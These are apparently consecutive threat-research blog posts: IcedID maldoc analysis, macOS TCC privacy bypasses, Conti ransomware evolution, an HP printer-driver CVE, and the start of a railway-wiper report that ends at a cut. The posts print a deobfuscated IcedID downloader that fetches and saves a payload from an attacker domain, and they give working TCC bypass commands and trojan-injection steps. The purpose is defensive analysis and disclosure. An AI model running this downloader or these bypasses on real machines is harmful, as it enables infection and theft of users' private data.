Executive Summary

• SentinelLabs has uncovered a recent IcedID campaign and analyzed nearly 500 artifacts associated with the attacks.
• IcedID Office macro documents use multiple techniques in an attempt to bypass detection.
• To further obfuscate the attack, data embedded in the document itself is used by the malicious macro. Analyzing only the macro provides an incomplete view of the attack.
• The HTA dropper embedded in the document is obfuscated JavaScript, which executes in memory and utilizes additional techniques to evade AV/EDR.

Overview

Many security researchers thought that IcedID would be the successor to Emotet after the coordinated takedown of Emotet malware in early 2021 by law enforcement agencies. IcedID (aka BokBot) was designed as a banking trojan targeting victims’ financial information and acting as a dropper for other malware. Initially discovered in 2017, IcedID has become a prominent component in financially-driven cybercrime. The malware is primarily spread via phishing emails typically containing Office file attachments. The files are embedded with malicious macros that launch the infection routine, which retrieves and runs the payload.

In May 2021, SentinelLabs observed a new campaign delivering IcedID through widespread phishing emails laced with poisoned MS Word attachments that use a simple but effective technique to avoid suspicion. This ongoing IcedID campaign attempts to gain a foothold on the victim’s machine through a crafted Word doc in which the embedded macro itself does not contain any malicious code.

Just like a genuine macro, the IcedID macro operates on the content of the document itself. In this case, that content includes obfuscated JavaScript code. This simple technique helps to evade many automated static and dynamic analysis engines since the content’s malicious behavior is dependent upon execution through an MS Office engine.

The obfuscated JavaScript is responsible for dropping a Microsoft HTML Application (HTA) file to C:\Users\Public. The macro then employs Internet Explorer’s mshta.exe utility to execute the HTA file. This second stage execution reaches out to the attacker’s C2 and downloads a DLL file with a .jpg extension to the same Public folder. The HTA file calls rundll32 to execute this payload, which serves to collect and exfiltrate user data to the attacker’s C2.

Below we present further technical details of this recent campaign from examination of almost 500 artifacts.

Technical Analysis

The IcedID phishing email contains what looks like an innocuous enough Word attachment. As expected with these kinds of malware operations, opening the document prompts the user to enable editing and then ‘Enable content’.

What is unexpected is that the macro itself is uninteresting.

In this case, the malicious code is found within the document itself, reversed JavaScript that is then base64 encoded.

The MS Word macro writes this code out as an HTA file to C:\Users\Public\. While this ensures success in terms of user permissions, arguably this is an operational mistake from the attacker’s side in the sense that this folder is a location generally monitored by security products.

The HTA code is executed by the macro using the GetObject() and Navigate() functions. This behavior is a “VB Legacy” technique that conforms to how older Office macro files behave.

Once the HTA code is running, it deobfuscates the JavaScript code in-memory and utilizes two additional techniques in an attempt to evade AV/EDR security controls:

• The HTA file contains msscriptcontrol.scriptcontrol COM component, which is used to execute interactively with JavaScript.
• The code calls JavaScript functions from VBScript code within the HTA. This technique also confuses different code and activity tracking engines within certain endpoint security products.

Below is the deobfuscated and ‘beautified’ version of the code from the HTA file.

var memoryVb = new ActiveXObject("msxml2.xmlhttp");
memoryVb.open("GET", "hxxp[:]//awkwardmanagement2013z[.]com/adda/hMbq4kHp63r/qv2KrtCyxsQZG2qnnjAyyS2THO0dNJcShIQ/mF4QLSMm/daIPccWw5X/Hpoop0jx2JCAW2rMXVnPrPu/JoSE6bOyTrt/lun6?sid=Kbgn&cid=yvlBl2mDXC7d6A6q&gRqB5BwPw=3P3WdrE&user=Ma", false);
memoryVb.send();
if (memoryVb.status == 200) {

	try {
		var rightClass = new ActiveXObject("adodb.stream");
		rightClass.open;
		rightClass.type = 1;
		rightClass.write(memoryVb.responsebody);
		rightClass.savetofile("c:\\users\\public\\sizeTempStruct.jpg", 2);
		rightClass.close;
	} catch (e) {}
}

The code initializes an MSXML2.XMLHTTP request and specifies the method, URL, and authentication information for the request. If the URL responds with a status code of 200, the code proceeds by downloading the remote file with a “.jpg” file extension. Unsurprisingly, the file is not what it pretends to be.

Looking at related domains by the same actor shows the breadth of activity. When tracking this campaign, the domain mappingmorrage[.]top had numerous duplicates of the “.jpg” file and the second stage binary associated with this campaign. Multiple file names are used such as “sizeQuery.jpg”, “sizeTempStruct.jpg”, “tmpSizeLocal.jpg” and so on.

IcedID JPG/DLL

Changing file extensions is a common, if unsophisticated, technique aimed at evasion. In this case, the “.jpg” file is actually a DLL. Analysis of the file’s exports reveals the DLLRegisterServer function, which is an obvious candidate for the initial installer of the IcedID malware.

To unpack this binary, we can load rundll32.exe in xdbg64 and use the command line option to specify the exported function in sizeTeamStruct.dll, as shown in the screenshot below.

To get to the packed binary, we need to add a breakpoint on VirtualAlloc and execute the run command until the breakpoint is hit. We want to look for the call that is responsible for allocating memory in the address space and dump the binary from the address location.

Looking at the dumped binary in PE Studio what catches the attention are the WinHttpOpenRequest, WinHttpSendRequest, and WinHttpReceiveResponse functions.

The WinHttpOpenRequest creates an HTTP request handle and stores the specified parameters in that handle, while WinHttpSendRequest sends the specified request to the C2 server and the WinHttpReceiveResponse waits to receive the response.

After loading the binary into xdbg64, we add the breakpoint on WinHttpOpenRequest. When this breakpoint is hit, we can see from the disassembly that the code is generating the domain through an xoring operation. This helps us to understand how the C2 value is generated.

Some of the domains collected from our analysis of around 500 samples of IcedID included:

epicprotovir[.]download
essoandmobilcards[.]com
immotransfer[.]top
kickersflyers[.]bid
mappingmorrage[.]top
momenturede[.]fun
provokordino[.]space
quadrogorrila[.]casa
vaclicinni[.]xyz
vikolifer[.]top

These appear to be masked through CloudFlare IPs. For example,

hxxp[://]mappingmorrage[.]top/
172.67.196.74
104.21.57.254
2606:4700:3037::6815:39fe
2606:4700:3037::ac43:c44a

The malware’s main module functions to steal credentials from the victim’s machine, exfiltrating information back to the C2 server.

A cookie which has information from the infected host is sent to the C2 and contains the OS type, username, computer name, and CPU domain, giving the operators a good understanding of the compromised environment.

__gads:
_gat: Windows version info 6.3.9600.64 is Windows 8.1 64bit
_ga: Processor CPUID information
_u: Username and Computername DESKTOP-FRH1VBHMarcoFB35A6FF06678D37
__io: Domain id
_gid: NIC

Discovering network traffic with the headers listed above is an indication that the host has been infected with IcedID malware.

Conclusion

Many IcedID attacks begin with a phishing email and users opening the attachment. In this campaign, IcedID uses a maldoc in the initial infection stage in an attempt to bypass defenses by interacting with the contents of the document itself. The use of an HTA file with its dependency on IE’s mshta.exe is reasonably unusual behavior that defenders can monitor for in their environments. This, along with other techniques such as changing the file extension and the behavior of the DLL, should be detected by a capable Next Gen security solution.

Indicators of Compromise

https://github.com/SentineLabs/icedID

The post Evasive Maneuvers | Massive IcedID Campaign Aims For Stealth with Benign Macros appeared first on SentinelLabs.

Executive Summary

• TCC is meant to protect user data from unauthorized access, but weaknesses in its design mean that protections are easily overridden inadvertently.
• Automation, by design, allows Full Disk Access to be ‘backdoored’ while also lowering the authorization barrier.
• Multiple partial and full TCC bypasses are known, with at least one actively exploited in the wild.
• TCC does not prevent processes reading and writing to ‘protected’ locations, a loophole that can be used to hide malware.

Introduction

In recent years, protecting sensitive user data on-device has become of increasing importance, particularly now that our phones, tablets and computers are used for creating, storing and transmitting the most sensitive data about us: from selfies and family videos to passwords, banking details, health and medical data and pretty much everything else.

With macOS, Apple took a strong position on protecting user data early on, implementing controls as far back as 2012 in OSX Mountain Lion under a framework known as ‘Transparency, Consent and Control’, or TCC for short. With each iteration of macOS since then, the scope of what falls under TCC has increased to the point now that users can barely access their own data – or data-creating devices like the camera and microphone – without jumping through various hoops of giving ‘consent’ or ‘control’ to the relevant applications through which such access is mediated.

There have been plenty of complaints about what this means with regards to usability, but we do not intend to revisit those here. Our concern in this paper is to highlight a number of ways in which TCC fails when users and IT admins might reasonably expect it to succeed.

We hope that by bringing attention to these failures, users and admins might better understand how and when sensitive data can be exposed and take that into account in their working practices.

Crash Course: What’s TCC Again?

Apple’s latest platform security guide no longer mentions TCC by name, but instead refers to ‘protecting app access to user data’. The current version of the platform security guide states:

“Apple devices help prevent apps from accessing a user’s personal information without permission using various technologies…[in] System Preferences in macOS, users can see which apps they have permitted to access certain information as well as grant or revoke any future access.”

In common parlance, we’re talking about privacy protections that are primarily managed by the user in System Preferences’ Privacy tab of the Security & Privacy pane.

Mac devices controlled by an MDM solution may also set various privacy preferences via means of a Profile. Where in effect, these preferences will not be visible to users in the Privacy pane above. However, they can be enumerated via the TCC database. The command for doing so changes slightly with Big Sur and later.

macOS 11 (Big Sur) and later:

sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT client,auth_value FROM access WHERE service=='kTCCServiceSystemPolicyAllFiles'" | grep '2'$

macOS 10.15 (Catalina) and earlier:

sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT client,allowed FROM access WHERE service == 'kTCCServiceSystemPolicyAllFiles'" | grep '1'$

The command line also presents users and administrators with the /usr/bin/tccutil utility, although its claim to offer the ability “to manage the privacy database” is a little exaggerated since the only documented command is reset. The tool is useful if you need to blanket wipe TCC permissions for the system or a user, but little else.

Under the hood, all these permissions are managed by the TCC.framework at /System/Library/PrivateFrameworks/TCC.framework/Versions/A/Resources/tccd.

Looked at in a rather narrow way with regard to how users work with their Macs in practice, one could argue that the privacy controls Apple has designed with this framework work as intended when users (and apps) behave as intended in that narrow sense. However, as we shall now see, problems arise when one or both go off script.

Full Disk Access – One Rule That Breaks Them All

To understand the problems in Apple’s implementation of TCC, it’s important to understand that TCC privileges exist at two levels: the user level and the system level. At the user level, individual users can allow certain permissions that are designed only to apply to their own account and not others. If Alice allows the Terminal access to her Desktop or Downloads folders, that’s no skin off Bob’s nose. When Bob logs in, Terminal won’t be able to access Bob’s Desktop or Downloads folders.

At least, that’s how it’s supposed to work, but if Alice is an admin user and gives Terminal Full Disk Access (FDA), then Alice can quite happily navigate to Bob’s Desktop and Downloads folders (and everyone else’s) regardless of what TCC settings Bob (or those other users) set. Note that Bob is not afforded any special protection if he is an admin user, too. Full Disk Access means what it says: it can be set by one user with admin rights and it grants access to all users’ data system-wide.

While this may seem like good news for system administrators, there are implications that may not be readily apparent, and these implications affect the administrator’s own data security.

When Alice grants FDA permission to the Terminal for herself, all users now have FDA permission via the Terminal as well. The upshot is that Alice isn’t only granting herself the privilege to access others’ data, she’s granting others the privilege to access her data, too.

Surprisingly, Alice’s (no doubt) unintended permissiveness also extends to unprivileged users. As reported in CVE-2020-9771, allowing the Terminal to have Full Disk Access renders all data readable without any further security challenges: the entire disk can be mounted and read even by non-admin users. Exactly how this works is nicely laid out in this blog post here, but in short any user can create and mount a local snapshot of the system and read all other users’ data.

The ‘trick’ to this lies in two command line utilities, both of which are available to all users: /usr/bin/tmutil and /sbin/mount. The first allows us to create a local snapshot of the entire system, and the second to mount that snapshot as an apfs read-only file system. From there, we can navigate all users data as captured on the mounted snapshot.

It’s important to understand that this is not a bug and will not be fixed (at least, ‘works as intended’ appears to be Apple’s position at the time of writing). The CVE mentioned above was the bug for being able to exploit this without Full Disk Access. Apple’s fix was to make it only possible when Full Disk Access has been granted. The tl;dr for Mac admins?

When you grant yourself Full Disk Access, you grant all users (even unprivileged users) the ability to read all other users’ data on the disk, including your own.

Backdooring Full Disk Access Through Automation

This situation isn’t restricted only to users: it extends to user processes, too. Any application granted Full Disk Access has access to all user data, by design. If that application is malware, or can be controlled by malware, then so does the malware. But application control is managed by another TCC preference, Automation.

And here lies another trap: there is one app on the Mac that always has Full Disk Access but never appears in the Full Disk Access pane in System Preferences: the Finder.

Any application that can control the Finder (listed in ‘Automation’ in the Privacy pane) also has Full Disk Access, although you will see neither the Finder nor the controlling app listed in the Full Disk Access pane.

Because of this complication, administrators must be aware that even if they never grant FDA permissions, or even if they lock down Full Disk Access (perhaps via MDM solution), simply allowing an application to control the Finder in the ‘Automation’ pane will bypass those restrictions.

In the image above, Terminal, and two legitimate third party automation apps, Script Debugger and FastScripts, all have Full Disk Access, although none are shown in the Full Disk Access privacy pane:

As noted above, this is because the Finder has irrevocable FDA permissions, and these apps have been given automation control over the Finder. To see how this works, here’s a little demonstration.

~  osascript<<EOD
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)
t
EOD

Although the Terminal is not granted Full Disk Access, if it has been granted Automation privileges for any reason in the past, executing the script above in the Terminal will return the contents of whatever the file “private.txt” contains. As “private.txt” is located on the user’s Desktop, a location ostensibly protected by TCC, users might reasonably expect that the contents of this file would remain private if no applications had been explicitly granted FDA permissions. This is demonstrably not the case.

The obvious mitigation here is not to allow apps the right to automate the Finder. However, let’s note two important points about that suggestion.

First, there are many legitimate reasons for granting automation of the Finder to the Terminal or other productivity apps: any mildly proficient user who is interested in increasing their productivity through automation may well have done so or wish to do so. Unfortunately, this is an “All-In” deal. If the user has a specific purpose for doing this, there’s no way to prevent other less legitimate uses of Terminal’s (or other programs’) use of this access.

Second, backdooring FDA access in this way results in a lowering of the authorization barrier. Granting FDA in the usual way requires an administrator password. However, one can grant consent for automation of the Finder (and thus backdoor FDA) without a password. A consent dialog with a simple click-through will suffice:

While the warning text is explicit enough (if the user reads it), it is far from transparent that given the Finder’s irrevocable Full Disk Access rights, the power being invested in the controlling app goes far beyond the current user’s consent, or control.

As a bonus, this is not a per-time consent. If it has ever been granted at any point in the past, then that permission remains in force (and thus transparent, in the not-good sense, to the user) unless revoked in System Preferences ‘Automation’ pane or via the previously mentioned tccutil reset command.

The tl;dr: keep a close and regular eye on what is allowed to automate the Finder in your System Preferences Privacy pane.

The Sorry Tale of TCC Bypasses

Everything we’ve mentioned so far is actually by design, but there is a long history of TCC bypasses to bear in mind as well. When macOS Mojave first went on public release, SentinelOne was the first to note that TCC could be bypassed via SSH (this finding was later duplicated by others). The indications from multiple researchers are that there are plenty more bypasses out there.

The most recent TCC bypass came to light after it was discovered being exploited by XCSSET malware in August 2020. Although Apple patched this particular flaw some 9 months later in May 2021, it is still exploitable on systems that haven’t been updated to macOS 11.4 or the latest security update to 10.15.7.

On a vulnerable system, it’s trivially easy to reproduce.

1. Create a simple trojan application that needs TCC privileges. Here we’ll create an app that needs access to the current user’s Desktop to enumerate the files saved there.

   % osacompile -e 'do shell script "ls -al /Users/sphil/Desktop >> /tmp/lsout"' -o /tmp/ls.app

2. Copy this new “ls.app” trojan to inside the bundle of an app that’s already been given TCC permission to access the Desktop.

   % cp -R /tmp/ls.app /Applications/Some\ Privileged.app/

   One way you can find the current permitted list of apps is from the ‘Files and Folders’ category in the Privacy tab of System Preferences’ Security & Privacy pane (malware takes another route, as we’ll explain shortly).

3. Execute the trojan app:

   % open /Applications/Some\ Privileged.app/ls.app

Security-minded readers will no doubt be wondering how an attacker achieves Step 2 without already having knowledge of TCC permissions – you can’t enumerate the list of privileged apps in the TCC.db from the Terminal unless Terminal already has Full Disk Access.

Assuming the target hasn’t already granted Terminal FDA privileges for some other legitimate reason (and who hasn’t these days?), an attacker, red teamer or malware could instead enumerate over the contents of the /Applications folder and take educated guesses based on what’s found there, e.g., Xcode, Camtasia, and Zoom are all applications that, if installed, are likely to be privileged.

Similarly, one could hardcode a list of apps known to have such permissions and search the target machine for them. This is precisely how XCSSET malware works: the malware is hardcoded with a list of apps that it expects to have screen capture permissions and injects its own app into the bundle of any of those found.

Unfortunately, the fix for this particular bug doesn’t effectively stop malware authors. If the bypass fails, it’s a simple matter to just impersonate the Finder and ask the user for control. As with the Automation request, this only requires the user to click-through their consent rather than provide a password.

As we noted above, the (real) Finder already has Full Disk Access by default, so users seeing a request dialog asking to grant the Finder access to any folder should immediately raise suspicion that something is amiss.

TCC – Just One More Thing

That almost wraps up our tour of TCC gotchas, but there’s one more worth pointing out. A common misunderstanding with Apple’s User privacy controls is that it prevents access to certain locations (e.g., Desktop, Documents, Downloads, iCloud folders). However, that is not quite the case.

Administrators need to be aware that TCC doesn’t protect against files being written to TCC protected areas by unprivileged processes, and similarly nor does it stop files so written from being read by those processes.

Why does this matter? It matters because if you have any kind of security or monitoring software installed that doesn’t have access to TCC-protected areas, there’s nothing to stop malware from hiding some or all of its components in these protected areas. TCC isn’t going to stop malware using those locations – a blind spot that not every Mac sys administrator is aware of – so don’t rely on TCC to provide some kind of built-in protected ‘safe-zone’. That’s not how it works, when it works at all.

Conclusion

We’ve seen how macOS users can easily and unknowingly expose data they think is protected by TCC simply by doing the things that macOS users, particularly admins, are often inclined to do. Ironically, most of these ‘inadvertent breaches’ are only possible because of TCC’s own lack of transparency. Why, for example, is the Finder not listed in the Full Disk Access pane? Why is it not clear that Automation of the Finder backdoors Full Disk Access? And why is password-authentication downgraded to a simple consent prompt for what is, effectively, the same privilege?

Other questions raised by this post concern whether consent should have finer grained controls so that prompts can be optionally repeated at certain intervals, and – perhaps most importantly –  whether users should be able to protect their own data by being allowed to opt out of FDA granted by other users on the same device.

We know that malware abuses some of these loopholes, and that various TCC bugs exist that have yet to be patched. Our only conclusion at this point has to be that neither users nor admins should place too much faith in the ability of TCC as it is currently implemented to protect data from unauthorized access.

The post Bypassing macOS TCC User Privacy Protections By Accident and Design appeared first on SentinelLabs.

By Idan Weizman & Antonio Pirozzi

Not yet two years old and already in its seventh iteration, Ransomware as a Service variant Conti has proven to be an agile and adept malware threat, capable of both autonomous and guided operation and with unparalleled encryption speed. As of June 2021, Conti’s unique feature set has helped its affiliates extort several million dollars from over 400 organizations.

In this report, we describe in unprecedented detail the rapid evolution of this ransomware and how it has adapted quickly to defenders’ attempts to detect and analyze it. In this post, we summarize our main findings.

Read the Full Report

Conti Background

Conti is developed and maintained by the so-called TrickBot gang, and it is mainly operated through a RaaS affiliation model. The Conti ransomware is derived from the codebase of Ryuk and relies on the same TrickBot infrastructure.

Initially, Ryuk and later Conti were delivered exclusively by TrickBot. However, by March 2021, as detections for TrickBot improved, BazarLoader/BazarBackdoor began to be used as the tool of choice for the delivery of Conti.

Conti samples first began to be seen around October 2019. Recent attacks, such as that on Ireland’s public health service, demonstrate that Conti has succeeded in becoming just as dangerous if not more so than its predecessor, for both organizations and the public at large. There are 399 reported Conti incidents at the time of writing:

In common with many other ransomware families, Conti also operates a leaks site in order to put further pressure on its victims to pay.

Conti – Evolution With Focus

This technical analysis aims to outline the Conti phylogenesis since the ransomware first appeared on the scene, in order to build a comprehensive knowledge of Conti’s evolution and its development pipeline.

For this study, we clustered Conti samples by timestamps. All the samples used in this research are readily available from OSINT and are recognized as Conti both by the community and by static and dynamic analysis done herein.

We found that each iteration implemented new features in Conti and evolved existing ones. In particular, we see a focus on the following key ransomware characteristics across the evolution of Conti variants:

Obfuscation: Since the early ‘test samples’ (late 2019), Conti started implementing a simple XOR mechanism to hide the API names resolved at runtime. From June 2020, a custom encoding function for string obfuscation was also employed, creating difficulties for static analysis and detection tools.

Speed: Conti uses up to 32 concurrent CPU threads for file encryption operations. Starting from the iteration of September 2020, the developers switched from AES to the CHACHA algorithm to further speed up the encryption process. This translates into less time required to lock victims’ data and reduce the chance of the operation being blocked.

File Encryption: starting from September 2020, a new logic for file encryption was added. The logic implements two different modes: full and partial. depending on file extension and file dimension. From January 2021, encryption through IoCompletionPorts was replaced by C++ queues and locks.

The Early Samples

The earliest sample of Conti we found dates from the end of 2019 and includes indications that it’s an early test version (e.g., the ransom note contains the text “test note”). It took eight months for this version to make headlines, but analysis of this ‘prototype’ helps us understand how Conti developed over time.

SHA-256: 2f334c0802147aa0eee90ff0a2b0e1022325b5cba5cb5236ed3717a2b0582a9c
Packed: Yes
Timestamp: 2019/10/06 14:08:28
File Type: EXE

SHA-256: 4f43a66d96270773f4e849055a844feb6ef234d7340b797f8763b7a9f8d80583
Packed: Yes
Timestamp: 2019/10/06 12:43:23
File Type: DLL

SHA-256: 94bdec109405050d31c2748fe3db32a357f554a441e0eae0af015e8b6461553e
Packed: No
Timestamp: 2019/10/21 15:00:01
File Type: EXE

SHA-256: 77b1fcae9e8f0a5a739c35961382e2b3f239a05c1135c4a8efe1964a263d5a47
Packed: No
Timestamp: 2019/10/21 15:00:01
File Type: EXE

These early samples have only a few imported functions linked at load time. Therefore, the first thing the code does is manually load required libraries at runtime using LoadLibraryA and GetProcAddress.

Moreover, all API names are encoded using a simple XOR with the byte 0x99. The names of DLLs are not encoded in this early version, save for some optional imports from Rstrtmgr.dll, the DLL responsible for Microsoft’s Windows’ Restart Manager function. The GetProcAddress function ends by making sure it’s got all the mandatory APIs it was looking for. Otherwise, it exits the program with ExitProcess.

Two resources loaded from the PE file are of particular note. The first will be used as the text for the ransom note (which is set to “test note” in this earliest version), while the second is a list of comma-separated strings denoting files that should be encrypted in case they contain a substring from the list.

In cases where the resource has a value of “null”, all files are encrypted except for a hardcoded list. This allows for simple modifications to the ReadMe text or for targeted encryption of specific files, without recompiling the ransomware.

In this early version, all running processes on the system are iterated. Processes containing “sql” in them are terminated with TerminateProcess.

Our full technical report explores more details of this prototype version, but the last point we shall note here is that at the end of the encryption process, the file will be moved, adding the extension .CONTI to the end of it.

Conti Appears In The Wild

Two months later a new version appeared with the inclusion of a real ransom note instead of the embedded “test note”. Other minor changes include changes to the XOR key from 0x99 to 0x0F. More significantly, the ransomware now loads all imports at runtime, with the exception of LoadLibraryA, GetProcAddress, and for some unknown reason, CreateThread. This import is used to boost speed through parellelization as the ransomware looks for files to encrypt across all available drives.

Six months later, in July 2020, Conti had a third iteration and hit the headlines for the first time. String obfuscation has received a significant upgrade with the single-byte XOR key replaced by a custom encoding function, represented by the following pseudo code:

The constants (a, b) are different for every encoded string. Additionally, more strings are obfuscated in comparison with the previous samples, although some are still left open on the stack (i.e., DLL names).

There are further changes to how APIs are loaded, but a noticeable lack of consistency, which reinforces the view that multiple developers with different areas of responsibility may be involved in Conti.

A notable new feature is the ability to accept command line arguments, meaning Conti can now be controlled by a human operator for improved targeting. The options include the ability to select the encryption mode (only local, only SMB shares, or both) as well as allowing a list of network locations to search for shares, and adding files found on such shares to the encryption list.

Conti’s Developers Respond To Detection Engines

By September 2020, Conti was making bigger waves, with press reports of an attack on the Fourth District Court of Louisiana claiming the U.S. court’s website was knocked offline and that stolen documents relating to defendants, witnesses and jurors were leaked.

By this time, Conti was on the radar of most endpoint security solutions and the developers clearly took notice. The next iteration includes a greater number of changes than the previous versions, with a heavy emphasis on evasion and anti-analysis.

For the most part, Conti now does not embed the plain names of DLLs and their required exports, but instead, only keeps a hash of the strings it needs. To get the requisite imports, it iterates through NtCurrentPeb()->Ldr->InLoadOrderModuleList, at first looking for the module kernel32.dll by the hash of its name, later on finding the LoadLibraryA API in the same manner, iterating over exports until the hashes match.

Only kernel32.dll is found by hash. The rest of the DLL names are embedded in the executable, now obfuscated, and are loaded using the LoadLibraryA API.

A newly implemented hook removal logic takes place after loading all the necessary DLLs. For each loaded DLL, Conti reads its file on disk and goes through all the exports in it, looking for a difference in the first few bytes. If any such difference is found between the disk version and the in-memory version, the bytes in memory are replaced by the bytes read from disk. This feature is aimed at bypassing some modern EPP/EDR platforms. Security products will often hook processes in order to fully monitor malicious activity. Conti targets this methodology specifically in the hopes of disarming security products lacking robust anti-tamper features.

There are a number of significant changes to the main logic, features and encryption, explored in greater detail in the full technical report. For example, the encryption algorithm is changed from AES to ChaCha. The keys are still generated randomly per file and written to the end of the file after being encrypted with an embedded RSA public key located in the data section of the binary.

Ever-focused on speed to beat mitigation attempts, Conti now includes a hardcoded list of 171 file extensions for which the whole content of the file is encrypted along with a further list of 20 file extensions for which only some part of the file is encrypted. Other files are categorized by size such that:

• Files smaller than 1MiB are encrypted whole.
• Files larger than 1MiB and smaller than 5MiB have only their first 1MiB encrypted.
• Files larger than 5MiB are partially encrypted in jumps.

The extension of encrypted files is now changed from .CONTI to .YZXXX in a bid to avoid simple ransomware detection logic based on known extension changes.

Refining a Successful RaaS Model

Late 2020 saw further iteration with Conti now refining its ransom note to contain more contact information including website, TOR node, email and a “customer” UUID.

Affiliates were offered a new command line option for logging errors as well as other improvements. To keep detection engines at bay, Conti included more dead code and busy loops to hinder simulation and static analysis.

Through early 2021, the developers changed the seed for their custom hash function twice across two more iterations. From this point on, we find samples more frequently, both packed and unpacked. Some samples are practically the same, except for the embedded public RSA key, the extension used for encrypted files, and the text placed inside the ReadMe file. Other than that, most changes going forward per new sample are minor.

Conclusion

We took a deep dive into the evolution of Conti ransomware, gaining some insight into the process of developing ransomware. Most notably, we saw how many changes take place to increase the evasiveness of the malware from detections and complicate the analysis process. Most meaningful changes and additions to the ransomware were done prior to September-October 2020, at which point, the developers needed only to make minor refinements to stay ahead of the detection curve and keep the money rolling in for their affiliates. Today, Conti is a mature project that is being used actively and aggressively to compromise and extort victims on a daily basis. Read the full report for further details and a complete list of IOCs.

Read the Full Report

Read the Full Report

The post Conti Unpacked | Understanding Ransomware Development As a Response to Detection appeared first on SentinelLabs.

Executive Summary

• SentinelLabs has discovered a high severity flaw in HP, Samsung, and Xerox printer drivers.
• Since 2005 HP, Samsung, and Xerox have released millions of printers worldwide with the vulnerable driver.
• SentinelLabs’ findings were proactively reported to HP on Feb 18, 2021 and are tracked as CVE-2021-3438, marked with CVSS Score 8.8.
• HP released a security update on May 19th to its customers to address this vulnerability.

As part of our commitment to secure the internet for all users, our researchers have engaged in an open-ended process of vulnerability discovery for targets that impact wide swaths of end users. Our research has been consistently fruitful, particularly in the area of OEM drivers[1, 2]. Many of these drivers come preloaded on devices or get silently dropped when installing some innocuous legitimate software bundle and their presence is entirely unknown to the users. These OEM drivers are often decades old and coded without concern for their potential impact on the overall integrity of those systems.

Our research approach has allowed us to proactively engage with vendors and manufacturers to patch previously unknown vulnerabilities before they can be exploited in the wild. We will continue our efforts to reduce the overall attack surface available to cunning adversaries.

Discovering an HP Printer Driver Vulnerability

Several months ago, while configuring a brand new HP printer, our team came across an old printer driver from 2005 called SSPORT.SYS thanks to an alert by Process Hacker once again.

This led to the discovery of a high severity vulnerability in HP, Xerox, and Samsung printer driver software that has remained hidden for 16 years. This vulnerability affects a very long list of over 380 different HP and Samsung printer models as well as at least a dozen different Xerox products.

Since all of these models are in fact manufactured by HP, we reported the vulnerability to them.

Technical Details

Just by running the printer software, the driver gets installed and activated on the machine regardless of whether you complete the installation or cancel.

Thus, in effect, this driver gets installed and loaded without even asking or notifying the user. Whether you are configuring the printer to work wirelessly or via a USB cable, this driver gets loaded. In addition, it will be loaded by Windows on every boot:

This makes the driver a perfect candidate to target since it will always be loaded on the machine even if there is no printer connected.

The vulnerable function inside the driver accepts data sent from User Mode via IOCTL (Input/Output Control) without validating the size parameter:

This function copies a string from the user input using strncpy with a size parameter that is controlled by the user. Essentially, this allows attackers to overrun the buffer used by the driver.

An interesting thing we noticed while investigating this driver is this peculiar hardcoded string: "This String is from Device [email protected]@@@ ".

It seems that HP didn’t develop this driver but copied it from a project in Windows Driver Samples by Microsoft that has almost identical functionality; fortunately, the MS sample project does not contain the vulnerability.

Impact

An exploitable kernel driver vulnerability can lead an unprivileged user to a SYSTEM account and run code in kernel mode (since the vulnerable driver is locally available to anyone). Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

Successfully exploiting a driver vulnerability might allow attackers to potentially install programs, view, change, encrypt or delete data, or create new accounts with full user rights. Weaponizing this vulnerability might require chaining other bugs as we didn’t find a way to weaponize it by itself given the time invested.

Suggestions

Generally speaking, it is highly recommended that in order to reduce the attack surface provided by device drivers with exposed IOCTLs handlers, developers should enforce strong ACLs when creating kernel device objects, verify user input and not expose a generic interface to kernel mode operations.

Remediation

This vulnerability and its remedies are described in HP Security Advisory HPSBPI03724 and Xerox Advisory Mini Bulletin XRX21K. We recommend HP/Samsung/Xerox customers, both enterprise and consumer, to apply the patch as soon as possible.

To mitigate this issue users should use this link and look for their printer model and then download the patch file as shown in the picture:

Some Windows machines may already have this driver without even running a dedicated installation file, since the driver comes with Microsoft Windows via Windows Update:

Note: Not all affected products were initially listed on the advisory page. We initially conducted a small sample test and found other products vulnerable, so we recommend further verification.

Conclusion

This high severity vulnerability, which has been present in HP, Samsung, and Xerox printer software since 2005, affects  millions of devices and likely millions of users worldwide. Similar to previous vulnerabilities we have disclosed that remained hidden for 12 years (1, 2), the impact this could have on users and enterprises that fail to patch is far-reaching and significant.

While we haven’t seen any indicators that this vulnerability has been exploited in the wild up till now, with millions of printer models currently vulnerable, it is inevitable that if attackers weaponize this vulnerability they will seek out those that have not taken the appropriate action.

We would like to thank HP for their approach to our disclosure and for remediating the vulnerabilities quickly.

Disclosure Timeline

18 Feb, 2021 – Initial report.
23 Feb, 2021 – We notified HP that the same issue exists in Samsung and Xerox printers.
19 May, 2021 – HP released an advisory for CVE-2021-3438.
20 May, 2021 – We notified HP that the “affected products” listing is incomplete and provided extra information.
01 Jun, 2021 – HP updated the list of affected products.

The post CVE-2021-3438: 16 Years In Hiding – Millions of Printers Worldwide Vulnerable appeared first on SentinelLabs.

Executive Summary

• On July 9th, 2021 a wiper attack paralyzed the Iranian train system.
• The attackers taunted the Iranian government as hacked displays instructed passengers to direct their complaints to the phone number of the Iranian Supreme Leader Khamenei’s office.
• SentinelLabs researchers were able to reconstruct the majority of the attack chain, which includes an interesting never-before-seen wiper.
• OPSEC mistakes let us know that the attackers refer to this wiper as ‘Meteor’, prompting us to name the campaign MeteorExpress.
• At this time, we have not been able to tie this activity to a previously identified threat group nor to additional attacks. However, the artifacts suggest that this wiper was developed in the past three years and was designed for reuse.
• To encourage further discovery of this new threat actor, we are providing indicators as well as hunting YARA rules for fellow security researchers.

Introduction

On July 9th, 2021 reports began to surface of a wiper attack disrupting service for the Iranian railway system. The attack included epic level trolling as reports suggest that train schedule displays cited “long delay[s] because of cyberattack” along with instructions to contact ‘64411’ –the number for the office of Supreme Leader Ali Khamenei.

Early reporting did not pick up much steam as it’s not uncommon for Iranian authorities to vaguely point the finger towards cyber attacks only to retract the claims later. But it doesn’t hurt to check.

We would like to acknowledge security researcher Anton Cherepanov who pointed out an early analysis (Farsi) by an Iranian antivirus company. Despite a lack of specific indicators of compromise, we were able to recover most of the attack components described in the post along with additional components they had missed. Behind this outlandish tale of stopped trains and glib trolls, we found the fingerprints of an unfamiliar attacker.

The Attack Chain

